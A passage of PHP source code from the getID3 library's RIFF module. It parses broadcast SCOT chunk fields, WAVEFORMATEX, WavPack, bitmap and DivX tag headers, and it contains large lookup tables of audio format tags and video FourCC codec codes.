getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 63, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['sdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 65, 6); $RIFFchunk[$chunkname][$thisindex]['parsed']['kdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 71, 6); $RIFFchunk[$chunkname][$thisindex]['parsed']['start_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 77, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['kill_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 78, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['digital'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 79, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 80, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['stereo'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 82, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['compress'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 83, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['eomstrt'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 84, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['eomlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 88, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib2'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 90, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['future1'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 94, 12); $RIFFchunk[$chunkname][$thisindex]['parsed']['catfontcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 106, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['catcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 110, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['segeompos'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 114, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_startsecs'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 118, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_starthunds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 120, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 122, 3); $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 125, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['priorpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 129, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['postcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 130, 3); $RIFFchunk[$chunkname][$thisindex]['parsed']['postcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 133, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['postpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 137, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['hrcanplay'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 138, 21); $RIFFchunk[$chunkname][$thisindex]['parsed']['future2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 159, 108); $RIFFchunk[$chunkname][$thisindex]['parsed']['artist'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 267, 34); $RIFFchunk[$chunkname][$thisindex]['parsed']['comment'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 301, 34); // "trivia" in other documentation $RIFFchunk[$chunkname][$thisindex]['parsed']['intro'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 335, 2); $RIFFchunk[$chunkname][$thisindex]['parsed']['end'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 337, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['year'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 338, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['obsolete2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 342, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['rec_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 343, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['rdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 344, 6); $RIFFchunk[$chunkname][$thisindex]['parsed']['mpeg_bitrate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 350, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['pitch'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 352, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['playlevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 354, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['lenvalid'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 356, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 357, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['newplaylevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 361, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['chopsize'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 363, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['vteomovr'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 367, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['desiredlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 371, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['triggers'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 375, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['fillout'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 379, 33); foreach (array('title', 'artist', 'comment') as $key) { if (trim($RIFFchunk[$chunkname][$thisindex]['parsed'][$key])) { $info['riff']['comments'][$key] = array($RIFFchunk[$chunkname][$thisindex]['parsed'][$key]); } } if ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] && !empty($info['filesize']) && ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] != $info['filesize'])) { $this->warning('RIFF.WAVE.scot.filelength ('.$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'].') different from actual filesize ('.$info['filesize'].')'); } break; default: if (!empty($LISTchunkParent) && isset($LISTchunkMaxOffset) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) { $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset']; $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size'] = $RIFFchunk[$chunkname][$thisindex]['size']; unset($RIFFchunk[$chunkname][$thisindex]['offset']); unset($RIFFchunk[$chunkname][$thisindex]['size']); if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) { unset($RIFFchunk[$chunkname][$thisindex]); } if (isset($RIFFchunk[$chunkname]) && empty($RIFFchunk[$chunkname])) { unset($RIFFchunk[$chunkname]); } $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize); } elseif ($chunksize < 2048) { // only read data in if smaller than 2kB $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); } else { $this->fseek($chunksize, SEEK_CUR); } break; } break; } } } catch (getid3_exception $e) { if ($e->getCode() == 10) { $this->warning('RIFF parser: '.$e->getMessage()); } else { throw $e; } } return $RIFFchunk; } /** * @param string $RIFFdata * * @return bool */ public function ParseRIFFdata(&$RIFFdata) { $info = &$this->getid3->info; if ($RIFFdata) { $tempfile = tempnam(GETID3_TEMP_DIR, 'getID3'); $fp_temp = fopen($tempfile, 'wb'); $RIFFdataLength = strlen($RIFFdata); $NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4); for ($i = 0; $i < 4; $i++) { $RIFFdata[($i + 4)] = $NewLengthString[$i]; } fwrite($fp_temp, $RIFFdata); fclose($fp_temp); $getid3_temp = new getID3(); $getid3_temp->openfile($tempfile); $getid3_temp->info['filesize'] = $RIFFdataLength; $getid3_temp->info['filenamepath'] = $info['filenamepath']; $getid3_temp->info['tags'] = $info['tags']; $getid3_temp->info['warning'] = $info['warning']; $getid3_temp->info['error'] = $info['error']; $getid3_temp->info['comments'] = $info['comments']; $getid3_temp->info['audio'] = (isset($info['audio']) ? $info['audio'] : array()); $getid3_temp->info['video'] = (isset($info['video']) ? $info['video'] : array()); $getid3_riff = new getid3_riff($getid3_temp); $getid3_riff->Analyze(); $info['riff'] = $getid3_temp->info['riff']; $info['warning'] = $getid3_temp->info['warning']; $info['error'] = $getid3_temp->info['error']; $info['tags'] = $getid3_temp->info['tags']; $info['comments'] = $getid3_temp->info['comments']; unset($getid3_riff, $getid3_temp); unlink($tempfile); } return false; } /** * @param array $RIFFinfoArray * @param array $CommentsTargetArray * * @return bool */ public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) { $RIFFinfoKeyLookup = array( 'IARL'=>'archivallocation', 'IART'=>'artist', 'ICDS'=>'costumedesigner', 'ICMS'=>'commissionedby', 'ICMT'=>'comment', 'ICNT'=>'country', 'ICOP'=>'copyright', 'ICRD'=>'creationdate', 'IDIM'=>'dimensions', 'IDIT'=>'digitizationdate', 'IDPI'=>'resolution', 'IDST'=>'distributor', 'IEDT'=>'editor', 'IENG'=>'engineers', 'IFRM'=>'accountofparts', 'IGNR'=>'genre', 'IKEY'=>'keywords', 'ILGT'=>'lightness', 'ILNG'=>'language', 'IMED'=>'orignalmedium', 'IMUS'=>'composer', 'INAM'=>'title', 'IPDS'=>'productiondesigner', 'IPLT'=>'palette', 'IPRD'=>'product', 'IPRO'=>'producer', 'IPRT'=>'part', 'IRTD'=>'rating', 'ISBJ'=>'subject', 'ISFT'=>'software', 'ISGN'=>'secondarygenre', 'ISHP'=>'sharpness', 'ISRC'=>'sourcesupplier', 'ISRF'=>'digitizationsource', 'ISTD'=>'productionstudio', 'ISTR'=>'starring', 'ITCH'=>'encoded_by', 'IWEB'=>'url', 'IWRI'=>'writer', '____'=>'comment', ); foreach ($RIFFinfoKeyLookup as $key => $value) { if (isset($RIFFinfoArray[$key])) { foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) { if (trim($commentdata['data']) != '') { if (isset($CommentsTargetArray[$value])) { $CommentsTargetArray[$value][] = trim($commentdata['data']); } else { $CommentsTargetArray[$value] = array(trim($commentdata['data'])); } } } } } return true; } /** * @param string $WaveFormatExData * * @return array */ public static function parseWAVEFORMATex($WaveFormatExData) { // shortcut $WaveFormatEx = array(); $WaveFormatEx['raw'] = array(); $WaveFormatEx_raw = &$WaveFormatEx['raw']; $WaveFormatEx_raw['wFormatTag'] = substr($WaveFormatExData, 0, 2); $WaveFormatEx_raw['nChannels'] = substr($WaveFormatExData, 2, 2); $WaveFormatEx_raw['nSamplesPerSec'] = substr($WaveFormatExData, 4, 4); $WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData, 8, 4); $WaveFormatEx_raw['nBlockAlign'] = substr($WaveFormatExData, 12, 2); $WaveFormatEx_raw['wBitsPerSample'] = substr($WaveFormatExData, 14, 2); if (strlen($WaveFormatExData) > 16) { $WaveFormatEx_raw['cbSize'] = substr($WaveFormatExData, 16, 2); } $WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw); $WaveFormatEx['codec'] = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']); $WaveFormatEx['channels'] = $WaveFormatEx_raw['nChannels']; $WaveFormatEx['sample_rate'] = $WaveFormatEx_raw['nSamplesPerSec']; $WaveFormatEx['bitrate'] = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8; $WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample']; return $WaveFormatEx; } /** * @param string $WavPackChunkData * * @return bool */ public function parseWavPackHeader($WavPackChunkData) { // typedef struct { // char ckID [4]; // long ckSize; // short version; // short bits; // added for version 2.00 // short flags, shift; // added for version 3.00 // long total_samples, crc, crc2; // char extension [4], extra_bc, extras [3]; // } WavpackHeader; // shortcut $info = &$this->getid3->info; $info['wavpack'] = array(); $thisfile_wavpack = &$info['wavpack']; $thisfile_wavpack['version'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 0, 2)); if ($thisfile_wavpack['version'] >= 2) { $thisfile_wavpack['bits'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 2, 2)); } if ($thisfile_wavpack['version'] >= 3) { $thisfile_wavpack['flags_raw'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 4, 2)); $thisfile_wavpack['shift'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 6, 2)); $thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 8, 4)); $thisfile_wavpack['crc1'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4)); $thisfile_wavpack['crc2'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4)); $thisfile_wavpack['extension'] = substr($WavPackChunkData, 20, 4); $thisfile_wavpack['extra_bc'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1)); for ($i = 0; $i <= 2; $i++) { $thisfile_wavpack['extras'][] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1)); } // shortcut $thisfile_wavpack['flags'] = array(); $thisfile_wavpack_flags = &$thisfile_wavpack['flags']; $thisfile_wavpack_flags['mono'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001); $thisfile_wavpack_flags['fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002); $thisfile_wavpack_flags['raw_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004); $thisfile_wavpack_flags['calc_noise'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008); $thisfile_wavpack_flags['high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010); $thisfile_wavpack_flags['3_byte_samples'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020); $thisfile_wavpack_flags['over_20_bits'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040); $thisfile_wavpack_flags['use_wvc'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080); $thisfile_wavpack_flags['noiseshaping'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100); $thisfile_wavpack_flags['very_fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200); $thisfile_wavpack_flags['new_high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400); $thisfile_wavpack_flags['cancel_extreme'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800); $thisfile_wavpack_flags['cross_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000); $thisfile_wavpack_flags['new_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000); $thisfile_wavpack_flags['joint_stereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000); $thisfile_wavpack_flags['extra_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000); $thisfile_wavpack_flags['override_noiseshape'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000); $thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000); $thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000); $thisfile_wavpack_flags['create_exe'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000); } return true; } /** * @param string $BITMAPINFOHEADER * @param bool $littleEndian * * @return array */ public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) { $parsed['biSize'] = substr($BITMAPINFOHEADER, 0, 4); // number of bytes required by the BITMAPINFOHEADER structure $parsed['biWidth'] = substr($BITMAPINFOHEADER, 4, 4); // width of the bitmap in pixels $parsed['biHeight'] = substr($BITMAPINFOHEADER, 8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner $parsed['biPlanes'] = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1 $parsed['biBitCount'] = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels $parsed['biSizeImage'] = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures) $parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device $parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device $parsed['biClrUsed'] = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression $parsed['biClrImportant'] = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important $parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed); $parsed['fourcc'] = substr($BITMAPINFOHEADER, 16, 4); // compression identifier return $parsed; } /** * @param string $DIVXTAG * @param bool $raw * * @return array */ public static function ParseDIVXTAG($DIVXTAG, $raw=false) { // structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/ // source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip // 'Byte Layout: '1111111111111111 // '32 for Movie - 1 '1111111111111111 // '28 for Author - 6 '6666666666666666 // '4 for year - 2 '6666666666662222 // '3 for genre - 3 '7777777777777777 // '48 for Comments - 7 '7777777777777777 // '1 for Rating - 4 '7777777777777777 // '5 for Future Additions - 0 '333400000DIVXTAG // '128 bytes total static $DIVXTAGgenre = array( 0 => 'Action', 1 => 'Action/Adventure', 2 => 'Adventure', 3 => 'Adult', 4 => 'Anime', 5 => 'Cartoon', 6 => 'Claymation', 7 => 'Comedy', 8 => 'Commercial', 9 => 'Documentary', 10 => 'Drama', 11 => 'Home Video', 12 => 'Horror', 13 => 'Infomercial', 14 => 'Interactive', 15 => 'Mystery', 16 => 'Music Video', 17 => 'Other', 18 => 'Religion', 19 => 'Sci Fi', 20 => 'Thriller', 21 => 'Western', ), $DIVXTAGrating = array( 0 => 'Unrated', 1 => 'G', 2 => 'PG', 3 => 'PG-13', 4 => 'R', 5 => 'NC-17', ); $parsed = array(); $parsed['title'] = trim(substr($DIVXTAG, 0, 32)); $parsed['artist'] = trim(substr($DIVXTAG, 32, 28)); $parsed['year'] = intval(trim(substr($DIVXTAG, 60, 4))); $parsed['comment'] = trim(substr($DIVXTAG, 64, 48)); $parsed['genre_id'] = intval(trim(substr($DIVXTAG, 112, 3))); $parsed['rating_id'] = ord(substr($DIVXTAG, 115, 1)); //$parsed['padding'] = substr($DIVXTAG, 116, 5); // 5-byte null //$parsed['magic'] = substr($DIVXTAG, 121, 7); // "DIVXTAG" $parsed['genre'] = (isset($DIVXTAGgenre[$parsed['genre_id']]) ? $DIVXTAGgenre[$parsed['genre_id']] : $parsed['genre_id']); $parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']); if (!$raw) { unset($parsed['genre_id'], $parsed['rating_id']); foreach ($parsed as $key => $value) { if (empty($value)) { unset($parsed[$key]); } } } foreach ($parsed as $tag => $value) { $parsed[$tag] = array($value); } return $parsed; } /** * @param string $tagshortname * * @return string */ public static function waveSNDMtagLookup($tagshortname) { $begin = __LINE__; /** This is not a comment! ©kwd keywords ©BPM bpm ©trt tracktitle ©des description ©gen category ©fin featuredinstrument ©LID longid ©bex bwdescription ©pub publisher ©cdt cdtitle ©alb library ©com composer */ return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm'); } /** * @param int $wFormatTag * * @return string */ public static function wFormatTagLookup($wFormatTag) { $begin = __LINE__; /** This is not a comment! 0x0000 Microsoft Unknown Wave Format 0x0001 Pulse Code Modulation (PCM) 0x0002 Microsoft ADPCM 0x0003 IEEE Float 0x0004 Compaq Computer VSELP 0x0005 IBM CVSD 0x0006 Microsoft A-Law 0x0007 Microsoft mu-Law 0x0008 Microsoft DTS 0x0010 OKI ADPCM 0x0011 Intel DVI/IMA ADPCM 0x0012 Videologic MediaSpace ADPCM 0x0013 Sierra Semiconductor ADPCM 0x0014 Antex Electronics G.723 ADPCM 0x0015 DSP Solutions DigiSTD 0x0016 DSP Solutions DigiFIX 0x0017 Dialogic OKI ADPCM 0x0018 MediaVision ADPCM 0x0019 Hewlett-Packard CU 0x0020 Yamaha ADPCM 0x0021 Speech Compression Sonarc 0x0022 DSP Group TrueSpeech 0x0023 Echo Speech EchoSC1 0x0024 Audiofile AF36 0x0025 Audio Processing Technology APTX 0x0026 AudioFile AF10 0x0027 Prosody 1612 0x0028 LRC 0x0030 Dolby AC2 0x0031 Microsoft GSM 6.10 0x0032 MSNAudio 0x0033 Antex Electronics ADPCME 0x0034 Control Resources VQLPC 0x0035 DSP Solutions DigiREAL 0x0036 DSP Solutions DigiADPCM 0x0037 Control Resources CR10 0x0038 Natural MicroSystems VBXADPCM 0x0039 Crystal Semiconductor IMA ADPCM 0x003A EchoSC3 0x003B Rockwell ADPCM 0x003C Rockwell Digit LK 0x003D Xebec 0x0040 Antex Electronics G.721 ADPCM 0x0041 G.728 CELP 0x0042 MSG723 0x0050 MPEG Layer-2 or Layer-1 0x0052 RT24 0x0053 PAC 0x0055 MPEG Layer-3 0x0059 Lucent G.723 0x0060 Cirrus 0x0061 ESPCM 0x0062 Voxware 0x0063 Canopus Atrac 0x0064 G.726 ADPCM 0x0065 G.722 ADPCM 0x0066 DSAT 0x0067 DSAT Display 0x0069 Voxware Byte Aligned 0x0070 Voxware AC8 0x0071 Voxware AC10 0x0072 Voxware AC16 0x0073 Voxware AC20 0x0074 Voxware MetaVoice 0x0075 Voxware MetaSound 0x0076 Voxware RT29HW 0x0077 Voxware VR12 0x0078 Voxware VR18 0x0079 Voxware TQ40 0x0080 Softsound 0x0081 Voxware TQ60 0x0082 MSRT24 0x0083 G.729A 0x0084 MVI MV12 0x0085 DF G.726 0x0086 DF GSM610 0x0088 ISIAudio 0x0089 Onlive 0x0091 SBC24 0x0092 Dolby AC3 SPDIF 0x0093 MediaSonic G.723 0x0094 Aculab PLC Prosody 8kbps 0x0097 ZyXEL ADPCM 0x0098 Philips LPCBB 0x0099 Packed 0x00FF AAC 0x0100 Rhetorex ADPCM 0x0101 IBM mu-law 0x0102 IBM A-law 0x0103 IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM) 0x0111 Vivo G.723 0x0112 Vivo Siren 0x0123 Digital G.723 0x0125 Sanyo LD ADPCM 0x0130 Sipro Lab Telecom ACELP NET 0x0131 Sipro Lab Telecom ACELP 4800 0x0132 Sipro Lab Telecom ACELP 8V3 0x0133 Sipro Lab Telecom G.729 0x0134 Sipro Lab Telecom G.729A 0x0135 Sipro Lab Telecom Kelvin 0x0140 Windows Media Video V8 0x0150 Qualcomm PureVoice 0x0151 Qualcomm HalfRate 0x0155 Ring Zero Systems TUB GSM 0x0160 Microsoft Audio 1 0x0161 Windows Media Audio V7 / V8 / V9 0x0162 Windows Media Audio Professional V9 0x0163 Windows Media Audio Lossless V9 0x0200 Creative Labs ADPCM 0x0202 Creative Labs Fastspeech8 0x0203 Creative Labs Fastspeech10 0x0210 UHER Informatic GmbH ADPCM 0x0220 Quarterdeck 0x0230 I-link Worldwide VC 0x0240 Aureal RAW Sport 0x0250 Interactive Products HSX 0x0251 Interactive Products RPELP 0x0260 Consistent Software CS2 0x0270 Sony SCX 0x0300 Fujitsu FM Towns Snd 0x0400 BTV Digital 0x0401 Intel Music Coder 0x0450 QDesign Music 0x0680 VME VMPCM 0x0681 AT&T Labs TPC 0x08AE ClearJump LiteWave 0x1000 Olivetti GSM 0x1001 Olivetti ADPCM 0x1002 Olivetti CELP 0x1003 Olivetti SBC 0x1004 Olivetti OPR 0x1100 Lernout & Hauspie Codec (0x1100) 0x1101 Lernout & Hauspie CELP Codec (0x1101) 0x1102 Lernout & Hauspie SBC Codec (0x1102) 0x1103 Lernout & Hauspie SBC Codec (0x1103) 0x1104 Lernout & Hauspie SBC Codec (0x1104) 0x1400 Norris 0x1401 AT&T ISIAudio 0x1500 Soundspace Music Compression 0x181C VoxWare RT24 Speech 0x1FC4 NCT Soft ALF2CD (www.nctsoft.com) 0x2000 Dolby AC3 0x2001 Dolby DTS 0x2002 WAVE_FORMAT_14_4 0x2003 WAVE_FORMAT_28_8 0x2004 WAVE_FORMAT_COOK 0x2005 WAVE_FORMAT_DNET 0x674F Ogg Vorbis 1 0x6750 Ogg Vorbis 2 0x6751 Ogg Vorbis 3 0x676F Ogg Vorbis 1+ 0x6770 Ogg Vorbis 2+ 0x6771 Ogg Vorbis 3+ 0x7A21 GSM-AMR (CBR, no SID) 0x7A22 GSM-AMR (VBR, including SID) 0xFFFE WAVE_FORMAT_EXTENSIBLE 0xFFFF WAVE_FORMAT_DEVELOPMENT */ return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag'); } /** * @param string $fourcc * * @return string */ public static function fourccLookup($fourcc) { $begin = __LINE__; /** This is not a comment! swot http://developer.apple.com/qa/snd/snd07.html ____ No Codec (____) _BIT BI_BITFIELDS (Raw RGB) _JPG JPEG compressed _PNG PNG compressed W3C/ISO/IEC (RFC-2083) _RAW Full Frames (Uncompressed) _RGB Raw RGB Bitmap _RL4 RLE 4bpp RGB _RL8 RLE 8bpp RGB 3IV1 3ivx MPEG-4 v1 3IV2 3ivx MPEG-4 v2 3IVX 3ivx MPEG-4 AASC Autodesk Animator ABYR Kensington ?ABYR? AEMI Array Microsystems VideoONE MPEG1-I Capture AFLC Autodesk Animator FLC AFLI Autodesk Animator FLI AMPG Array Microsystems VideoONE MPEG ANIM Intel RDX (ANIM) AP41 AngelPotion Definitive ASV1 Asus Video v1 ASV2 Asus Video v2 ASVX Asus Video 2.0 (audio) AUR2 AuraVision Aura 2 Codec - YUV 4:2:2 AURA AuraVision Aura 1 Codec - YUV 4:1:1 AVDJ Independent JPEG Group\'s codec (AVDJ) AVRN Independent JPEG Group\'s codec (AVRN) AYUV 4:4:4 YUV (AYUV) AZPR Quicktime Apple Video (AZPR) BGR Raw RGB32 BLZ0 Blizzard DivX MPEG-4 BTVC Conexant Composite Video BINK RAD Game Tools Bink Video BT20 Conexant Prosumer Video BTCV Conexant Composite Video Codec BW10 Data Translation Broadway MPEG Capture CC12 Intel YUV12 CDVC Canopus DV CFCC Digital Processing Systems DPS Perception CGDI Microsoft Office 97 Camcorder Video CHAM Winnov Caviara Champagne CJPG Creative WebCam JPEG CLJR Cirrus Logic YUV 4:1:1 CMYK Common Data Format in Printing (Colorgraph) CPLA Weitek 4:2:0 YUV Planar CRAM Microsoft Video 1 (CRAM) cvid Radius Cinepak CVID Radius Cinepak CWLT Microsoft Color WLT DIB CYUV Creative Labs YUV CYUY ATI YUV D261 H.261 D263 H.263 DIB Device Independent Bitmap DIV1 FFmpeg OpenDivX DIV2 Microsoft MPEG-4 v1/v2 DIV3 DivX ;-) MPEG-4 v3.x Low-Motion DIV4 DivX ;-) MPEG-4 v3.x Fast-Motion DIV5 DivX MPEG-4 v5.x DIV6 DivX ;-) (MS MPEG-4 v3.x) DIVX DivX MPEG-4 v4 (OpenDivX / Project Mayo) divx DivX MPEG-4 DMB1 Matrox Rainbow Runner hardware MJPEG DMB2 Paradigm MJPEG DSVD ?DSVD? DUCK Duck TrueMotion 1.0 DPS0 DPS/Leitch Reality Motion JPEG DPSC DPS/Leitch PAR Motion JPEG DV25 Matrox DVCPRO codec DV50 Matrox DVCPRO50 codec DVC IEC 61834 and SMPTE 314M (DVC/DV Video) DVCP IEC 61834 and SMPTE 314M (DVC/DV Video) DVHD IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps DVMA Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com) DVSL IEC Standard DV compressed in SD (SDL) DVAN ?DVAN? DVE2 InSoft DVE-2 Videoconferencing dvsd IEC 61834 and SMPTE 314M DVC/DV Video DVSD IEC 61834 and SMPTE 314M DVC/DV Video DVX1 Lucent DVX1000SP Video Decoder DVX2 Lucent DVX2000S Video Decoder DVX3 